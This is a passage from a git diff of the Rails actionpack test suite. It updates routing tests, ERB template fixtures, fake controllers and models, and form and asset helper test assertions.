-    test "the request's SCRIPT_NAME takes precedence over the routes'" do
+    test "the request's SCRIPT_NAME takes precedence over the route" do
       get "/foo", {}, 'SCRIPT_NAME' => "/new", 'action_dispatch.routes' => Routes
       assert_equal "/new/foo", response.body
     end
 
+    test "the request's SCRIPT_NAME wraps the mounted app's" do
+      get '/new/bar/foo', {}, 'SCRIPT_NAME' => '/new', 'PATH_INFO' => '/bar/foo', 'action_dispatch.routes' => Routes
+      assert_equal "/new/bar/foo", response.body
+    end
+
     test "handling http protocol with https set" do
       https!
       assert_equal "http://www.example.com/foo", foo_url(:protocol => "http")
diff --git a/actionpack/test/fixtures/addresses/list.erb b/actionpack/test/fixtures/addresses/list.erb
deleted file mode 100644
index c75e01eece..0000000000
--- a/actionpack/test/fixtures/addresses/list.erb
+++ /dev/null
@@ -1 +0,0 @@
-We only need to get this far!
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
index cd39ea7898..e29978801e 100644
--- a/actionpack/test/fixtures/company.rb
+++ b/actionpack/test/fixtures/company.rb
@@ -1,10 +1,10 @@
 class Company < ActiveRecord::Base
   has_one :mascot
   attr_protected :rating
-  set_sequence_name :companies_nonstd_seq
+  self.sequence_name = :companies_nonstd_seq
 
   validates_presence_of :name
   def validate
     errors.add('rating', 'rating should not be 2') if rating == 2
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/fixtures/developer.rb b/actionpack/test/fixtures/developer.rb
index c70eda34c6..dd14548fac 100644
--- a/actionpack/test/fixtures/developer.rb
+++ b/actionpack/test/fixtures/developer.rb
@@ -5,5 +5,5 @@ class Developer < ActiveRecord::Base
 end
 
 class DeVeLoPeR < ActiveRecord::Base
-  set_table_name "developers"
+  self.table_name = "developers"
 end
diff --git a/actionpack/test/fixtures/developers.yml b/actionpack/test/fixtures/developers.yml
index 308bf75de2..3656564f63 100644
--- a/actionpack/test/fixtures/developers.yml
+++ b/actionpack/test/fixtures/developers.yml
@@ -8,7 +8,7 @@ jamis:
   name: Jamis
   salary: 150000
 
-<% for digit in 3..10 %>
+<% (3..10).each do |digit| %>
 dev_<%= digit %>:
   id: <%= digit %>
   name: fixture_<%= digit %>
diff --git a/actionpack/test/fixtures/fun/games/_game.erb b/actionpack/test/fixtures/fun/games/_game.erb
index d51b7b3ebc..f0f542ff92 100644
--- a/actionpack/test/fixtures/fun/games/_game.erb
+++ b/actionpack/test/fixtures/fun/games/_game.erb
@@ -1 +1 @@
-<%= game.name %>
\ No newline at end of file
+Fun <%= game.name %>
diff --git a/actionpack/test/fixtures/fun/serious/games/_game.erb b/actionpack/test/fixtures/fun/serious/games/_game.erb
index d51b7b3ebc..523bc55bd7 100644
--- a/actionpack/test/fixtures/fun/serious/games/_game.erb
+++ b/actionpack/test/fixtures/fun/serious/games/_game.erb
@@ -1 +1 @@
-<%= game.name %>
\ No newline at end of file
+Serious <%= game.name %>
diff --git a/actionpack/test/fixtures/games/_game.erb b/actionpack/test/fixtures/games/_game.erb
new file mode 100644
index 0000000000..1aeb81fcba
--- /dev/null
+++ b/actionpack/test/fixtures/games/_game.erb
@@ -0,0 +1 @@
+Just <%= game.name %>
diff --git a/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
new file mode 100644
index 0000000000..9faa427736
--- /dev/null
+++ b/actionpack/test/fixtures/helpers1_pack/pack1_helper.rb
@@ -0,0 +1,5 @@
+module Pack1Helper
+  def conflicting_helper
+    "pack1"
+  end
+end
diff --git a/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
new file mode 100644
index 0000000000..cf56697dfb
--- /dev/null
+++ b/actionpack/test/fixtures/helpers2_pack/pack2_helper.rb
@@ -0,0 +1,5 @@
+module Pack2Helper
+  def conflicting_helper
+    "pack2"
+  end
+end
diff --git a/actionpack/test/fixtures/layouts/with_html_partial.html.erb b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000000..fd2896aeaa
--- /dev/null
+++ b/actionpack/test/fixtures/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionpack/test/fixtures/plain_text.raw b/actionpack/test/fixtures/plain_text.raw
new file mode 100644
index 0000000000..b13985337f
--- /dev/null
+++ b/actionpack/test/fixtures/plain_text.raw
@@ -0,0 +1 @@
+<%= hello_world %>
diff --git a/actionpack/test/fixtures/plain_text_with_characters.raw b/actionpack/test/fixtures/plain_text_with_characters.raw
new file mode 100644
index 0000000000..1e86e44fb4
--- /dev/null
+++ b/actionpack/test/fixtures/plain_text_with_characters.raw
@@ -0,0 +1 @@
+Here are some characters: !@#$%^&*()-="'}{`
diff --git a/actionpack/test/fixtures/project.rb b/actionpack/test/fixtures/project.rb
index 2b53d39ed5..c124a9e605 100644
--- a/actionpack/test/fixtures/project.rb
+++ b/actionpack/test/fixtures/project.rb
@@ -1,3 +1,3 @@
 class Project < ActiveRecord::Base
-  has_and_belongs_to_many :developers, :uniq => true
+  has_and_belongs_to_many :developers, -> { uniq }
 end
diff --git a/actionpack/test/fixtures/public/foo/baz.css b/actionpack/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/public/foo/こんにちは.html b/actionpack/test/fixtures/public/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/public/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/reply.rb b/actionpack/test/fixtures/reply.rb
index 19cba93673..047522c55b 100644
--- a/actionpack/test/fixtures/reply.rb
+++ b/actionpack/test/fixtures/reply.rb
@@ -1,6 +1,6 @@
 class Reply < ActiveRecord::Base
-  scope :base
-  belongs_to :topic, :include => [:replies]
+  scope :base, -> { all }
+  belongs_to :topic, -> { includes(:replies) }
   belongs_to :developer
 
   validates_presence_of :content
diff --git a/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css b/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css
deleted file mode 100644
index bfb90bfa48..0000000000
--- a/actionpack/test/fixtures/sprockets/alternate/stylesheets/style.css
+++ /dev/null
@@ -1 +0,0 @@
-/* Different from other style.css */
\ No newline at end of file
diff --git a/actionpack/test/fixtures/sprockets/app/images/logo.png b/actionpack/test/fixtures/sprockets/app/images/logo.png
deleted file mode 100644
index d5edc04e65..0000000000
--- a/actionpack/test/fixtures/sprockets/app/images/logo.png
+++ /dev/null
diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/application.js b/actionpack/test/fixtures/sprockets/app/javascripts/application.js
deleted file mode 100644
index e611d2b129..0000000000
--- a/actionpack/test/fixtures/sprockets/app/javascripts/application.js
+++ /dev/null
@@ -1 +0,0 @@
-//= require xmlhr
diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/application.css b/actionpack/test/fixtures/sprockets/app/stylesheets/application.css
deleted file mode 100644
index 2365eaa4cd..0000000000
--- a/actionpack/test/fixtures/sprockets/app/stylesheets/application.css
+++ /dev/null
@@ -1 +0,0 @@
-/*= require style */
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
new file mode 100644
index 0000000000..e918ba8f83
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
@@ -0,0 +1 @@
+<b><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
new file mode 100644
index 0000000000..bdd53014cd
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
@@ -0,0 +1 @@
+<b class="<%= customer.name.downcase %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
new file mode 100644
index 0000000000..44d6121297
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
@@ -0,0 +1 @@
+<b data-counter="<%= customer_counter %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.html.erb b/actionpack/test/fixtures/test/_changing_priority.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionpack/test/fixtures/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.json.erb b/actionpack/test/fixtures/test/_changing_priority.json.erb
new file mode 100644
index 0000000000..7fa41dce66
--- /dev/null
+++ b/actionpack/test/fixtures/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
new file mode 100644
index 0000000000..2f21a75dd9
--- /dev/null
+++ b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
@@ -0,0 +1,3 @@
+<%= content_tag 'p' do %>
+  <%= content_tag 'b', 'Hello' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_first_json_partial.json.erb b/actionpack/test/fixtures/test/_first_json_partial.json.erb
new file mode 100644
index 0000000000..790ee896db
--- /dev/null
+++ b/actionpack/test/fixtures/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/actionpack/test/fixtures/test/_json_change_priority.json.erb
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/lib/assets/.gitkeep
+++ b/actionpack/test/fixtures/test/_json_change_priority.json.erb
diff --git a/actionpack/test/fixtures/test/_label_with_block.erb b/actionpack/test/fixtures/test/_label_with_block.erb
new file mode 100644
index 0000000000..40117e594e
--- /dev/null
+++ b/actionpack/test/fixtures/test/_label_with_block.erb
@@ -0,0 +1,4 @@
+<%= label 'post', 'message' do %>
+  Message
+  <%= text_field 'post', 'message' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_partial_html_erb.html.erb b/actionpack/test/fixtures/test/_partial_html_erb.html.erb
new file mode 100644
index 0000000000..4b54875782
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_html_erb.html.erb
@@ -0,0 +1 @@
+<%= "partial.html.erb" %>
diff --git a/actionpack/test/fixtures/test/_partial_only_html.html b/actionpack/test/fixtures/test/_partial_only_html.html
new file mode 100644
index 0000000000..d2d630bd40
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_only_html.html
@@ -0,0 +1 @@
+only html partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_raise_indentation.html.erb b/actionpack/test/fixtures/test/_raise_indentation.html.erb
new file mode 100644
index 0000000000..f9a93728fe
--- /dev/null
+++ b/actionpack/test/fixtures/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_second_json_partial.json.erb b/actionpack/test/fixtures/test/_second_json_partial.json.erb
new file mode 100644
index 0000000000..5ebb7f1afd
--- /dev/null
+++ b/actionpack/test/fixtures/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/change_priorty.html.erb b/actionpack/test/fixtures/test/change_priorty.html.erb
new file mode 100644
index 0000000000..5618977d05
--- /dev/null
+++ b/actionpack/test/fixtures/test/change_priorty.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_with_partial.html.erb b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionpack/test/fixtures/test/html_template.html.erb b/actionpack/test/fixtures/test/html_template.html.erb
new file mode 100644
index 0000000000..1bbc2b7f09
--- /dev/null
+++ b/actionpack/test/fixtures/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/one.html.erb b/actionpack/test/fixtures/test/one.html.erb
new file mode 100644
index 0000000000..0151874809
--- /dev/null
+++ b/actionpack/test/fixtures/test/one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/two" %> world
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/with_html_partial.html.erb b/actionpack/test/fixtures/test/with_html_partial.html.erb
new file mode 100644
index 0000000000..d84d909d64
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_html_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.html.erb b/actionpack/test/fixtures/test/with_partial.html.erb
new file mode 100644
index 0000000000..7502364cf5
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.text.erb b/actionpack/test/fixtures/test/with_partial.text.erb
new file mode 100644
index 0000000000..5f068ebf27
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_partial.text.erb
@@ -0,0 +1 @@
+**<%= render :partial => "partial_only" %>**
diff --git a/actionpack/test/fixtures/test/with_xml_template.html.erb b/actionpack/test/fixtures/test/with_xml_template.html.erb
new file mode 100644
index 0000000000..e54a7cd001
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_xml_template.html.erb
@@ -0,0 +1 @@
+<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionpack/test/fixtures/translations/templates/default.erb b/actionpack/test/fixtures/translations/templates/default.erb
new file mode 100644
index 0000000000..8b70031071
--- /dev/null
+++ b/actionpack/test/fixtures/translations/templates/default.erb
@@ -0,0 +1 @@
+<%= t('.missing', :default => :'.foo') %>
diff --git a/actionpack/test/fixtures/with_format.json.erb b/actionpack/test/fixtures/with_format.json.erb
new file mode 100644
index 0000000000..a7f480ab1d
--- /dev/null
+++ b/actionpack/test/fixtures/with_format.json.erb
@@ -0,0 +1 @@
+<%= render :partial => 'missing', :formats => [:json] %>
diff --git a/actionpack/test/lib/controller/fake_controllers.rb b/actionpack/test/lib/controller/fake_controllers.rb
index 09692f77b5..1a2863b689 100644
--- a/actionpack/test/lib/controller/fake_controllers.rb
+++ b/actionpack/test/lib/controller/fake_controllers.rb
@@ -1,11 +1,7 @@
-class << Object; alias_method :const_available?, :const_defined?; end
-
 class ContentController < ActionController::Base; end
 
 module Admin
-  class << self; alias_method :const_available?, :const_defined?; end
   class AccountsController < ActionController::Base; end
-  class NewsFeedController < ActionController::Base; end
   class PostsController < ActionController::Base; end
   class StuffController < ActionController::Base; end
   class UserController < ActionController::Base; end
@@ -17,46 +13,23 @@ module Api
   class ProductsController < ActionController::Base; end
 end
 
-# TODO: Reduce the number of test controllers we use
 class AccountController < ActionController::Base; end
-class AddressesController < ActionController::Base; end
 class ArchiveController < ActionController::Base; end
 class ArticlesController < ActionController::Base; end
 class BarController < ActionController::Base; end
 class BlogController < ActionController::Base; end
 class BooksController < ActionController::Base; end
-class BraveController < ActionController::Base; end
 class CarsController < ActionController::Base; end
 class CcController < ActionController::Base; end
 class CController < ActionController::Base; end
-class ElsewhereController < ActionController::Base; end
 class FooController < ActionController::Base; end
 class GeocodeController < ActionController::Base; end
-class HiController < ActionController::Base; end
-class ImageController < ActionController::Base; end
 class NewsController < ActionController::Base; end
 class NotesController < ActionController::Base; end
+class PagesController < ActionController::Base; end
 class PeopleController < ActionController::Base; end
 class PostsController < ActionController::Base; end
-class SessionsController  < ActionController::Base; end
-class StuffController < ActionController::Base; end
 class SubpathBooksController < ActionController::Base; end
 class SymbolsController < ActionController::Base; end
 class UserController < ActionController::Base; end
-class WeblogController < ActionController::Base; end
-
-# For speed test
-class SpeedController < ActionController::Base;  end
-class SearchController        < SpeedController; end
-class VideosController        < SpeedController; end
-class VideoFileController     < SpeedController; end
-class VideoSharesController   < SpeedController; end
-class VideoAbusesController   < SpeedController; end
-class VideoUploadsController  < SpeedController; end
-class VideoVisitsController   < SpeedController; end
-class UsersController         < SpeedController; end
-class SettingsController      < SpeedController; end
-class ChannelsController      < SpeedController; end
-class ChannelVideosController < SpeedController; end
-class LostPasswordsController < SpeedController; end
-class PagesController         < SpeedController; end
+class UsersController < ActionController::Base; end
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index 363403092b..82f38b5309 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -34,6 +34,16 @@ end
 class GoodCustomer < Customer
 end
 
+class ValidatedCustomer < Customer
+  def errors
+    if name =~ /Sikachu/i
+      []
+    else
+      [{:name => "is invalid"}]
+    end
+  end
+end
+
 module Quiz
   class Question < Struct.new(:name, :id)
     extend ActiveModel::Naming
@@ -175,8 +185,8 @@ class HashBackedAuthor < Hash
 end
 
 module Blog
-  def self._railtie
-    self
+  def self.use_relative_model_naming?
+    true
   end
 
   class Post < Struct.new(:title, :id)
@@ -204,3 +214,6 @@ class RenderJsonTestException < Exception
     return { :error => self.class.name, :message => self.to_s }.to_json
   end
 end
+
+class Car < Struct.new(:color)
+end
diff --git a/actionpack/test/lib/testing_sandbox.rb b/actionpack/test/lib/testing_sandbox.rb
deleted file mode 100644
index c36585104f..0000000000
--- a/actionpack/test/lib/testing_sandbox.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module TestingSandbox
-  # Temporarily replaces KCODE for the block
-  def with_kcode(kcode)
-    if RUBY_VERSION < '1.9'
-      old_kcode, $KCODE = $KCODE, kcode
-      begin
-        yield
-      ensure
-        $KCODE = old_kcode
-      end
-    else
-      yield
-    end
-  end
-end
diff --git a/actionpack/test/metal/caching_test.rb b/actionpack/test/metal/caching_test.rb
new file mode 100644
index 0000000000..a2b6763754
--- /dev/null
+++ b/actionpack/test/metal/caching_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+
+CACHE_DIR = 'test_cache'
+# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
+FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
+
+class CachingController < ActionController::Metal
+  abstract!
+
+  include ActionController::Caching
+
+  self.page_cache_directory = FILE_STORE_PATH
+  self.cache_store = :file_store, FILE_STORE_PATH
+end
+
+class PageCachingTestController < CachingController
+  caches_page :ok
+
+  def ok
+    self.response_body = "ok"
+  end
+end
+
+class PageCachingTest < ActionController::TestCase
+  tests PageCachingTestController
+
+  def test_should_cache_get_with_ok_status
+    get :ok
+    assert_response :ok
+    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/ok.html"), "get with ok status should have been cached"
+  end
+end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
new file mode 100644
index 0000000000..a5588d95fa
--- /dev/null
+++ b/actionpack/test/routing/helper_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+
+module ActionDispatch
+  module Routing
+    class HelperTest < ActiveSupport::TestCase
+      class Duck
+        def to_param
+          nil
+        end
+      end
+
+      def test_exception
+        rs = ::ActionDispatch::Routing::RouteSet.new
+        rs.draw do
+          resources :ducks do
+            member do
+              get :pond
+            end
+          end
+        end
+
+        x = Class.new {
+          include rs.url_helpers
+        }
+        assert_raises ActionController::RoutingError do
+          x.new.pond_duck_path Duck.new
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/template/active_model_helper_test.rb b/actionpack/test/template/active_model_helper_test.rb
index 8530a72a82..86bccdfade 100644
--- a/actionpack/test/template/active_model_helper_test.rb
+++ b/actionpack/test/template/active_model_helper_test.rb
@@ -4,7 +4,7 @@ class ActiveModelHelperTest < ActionView::TestCase
   tests ActionView::Helpers::ActiveModelHelper
 
   silence_warnings do
-    class Post < Struct.new(:author_name, :body)
+    class Post < Struct.new(:author_name, :body, :updated_at)
       include ActiveModel::Conversion
       include ActiveModel::Validations
 
@@ -20,25 +20,61 @@ class ActiveModelHelperTest < ActionView::TestCase
     @post = Post.new
     @post.errors[:author_name] << "can't be empty"
     @post.errors[:body] << "foo"
+    @post.errors[:updated_at] << "bar"
 
     @post.author_name = ""
     @post.body        = "Back to the hill and over it again!"
+    @post.updated_at  = Date.new(2004, 6, 15)
   end
 
   def test_text_area_with_errors
     assert_dom_equal(
-      %(<div class="field_with_errors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div>),
+      %(<div class="field_with_errors"><textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea></div>),
       text_area("post", "body")
     )
   end
 
   def test_text_field_with_errors
     assert_dom_equal(
-      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" size="30" type="text" value="" /></div>),
+      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /></div>),
       text_field("post", "author_name")
     )
   end
 
+  def test_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="a">a</option>\n<option value="b">b</option></select></div>),
+      select("post", "author_name", [:a, :b])
+    )
+  end
+
+  def test_select_with_errors_and_blank_option
+    expected_dom = %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="">Choose one...</option>\n<option value="a">a</option>\n<option value="b">b</option></select></div>)
+    assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], :include_blank => 'Choose one...'))
+    assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], :prompt => 'Choose one...'))
+  end
+
+  def test_date_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select id="post_updated_at_1i" name="post[updated_at(1i)]">\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n</select>\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n</div>),
+      date_select("post", "updated_at", :discard_month => true, :discard_day => true, :start_year => 2004, :end_year => 2005)
+    )
+  end
+
+  def test_datetime_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      datetime_select("post", "updated_at", :discard_year => true, :discard_month => true, :discard_day => true, :minute_step => 60)
+    )
+  end
+
+  def test_time_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="15" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      time_select("post", "updated_at", :minute_step => 60)
+    )
+  end
+
   def test_hidden_field_does_not_render_errors
     assert_dom_equal(
       %(<input id="post_author_name" name="post[author_name]" type="hidden" value="" />),
@@ -53,10 +89,11 @@ class ActiveModelHelperTest < ActionView::TestCase
     end
 
     assert_dom_equal(
-      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" size="30" type="text" value="" /> <span class="error">can't be empty</span></div>),
+      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /> <span class="error">can't be empty</span></div>),
       text_field("post", "author_name")
     )
   ensure
     ActionView::Base.field_error_proc = old_proc if old_proc
   end
+
 end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
index aa7304b3ed..6a44197525 100644
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -38,6 +38,7 @@ class AssetTagHelperTest < ActionView::TestCase
     @controller = BasicController.new
 
     @request = Class.new do
+      attr_accessor :script_name
       def protocol() 'http://' end
       def ssl?() false end
       def host_with_port() 'localhost' end
@@ -88,21 +89,33 @@ class AssetTagHelperTest < ActionView::TestCase
     %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
   }
 
+  JavascriptUrlToTag = {
+    %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
+  UrlToJavascriptToTag = {
+    %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
   JavascriptIncludeToTag = {
-    %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" type="text/javascript"></script>),
-    %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" type="text/javascript"></script>),
-    %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" type="text/javascript"></script>),
-    %(javascript_include_tag("common.javascript", "/elsewhere/cools")) => %(<script src="/javascripts/common.javascript" type="text/javascript"></script>\n<script src="/elsewhere/cools.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:defaults)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:all)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:all, :recursive => true)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
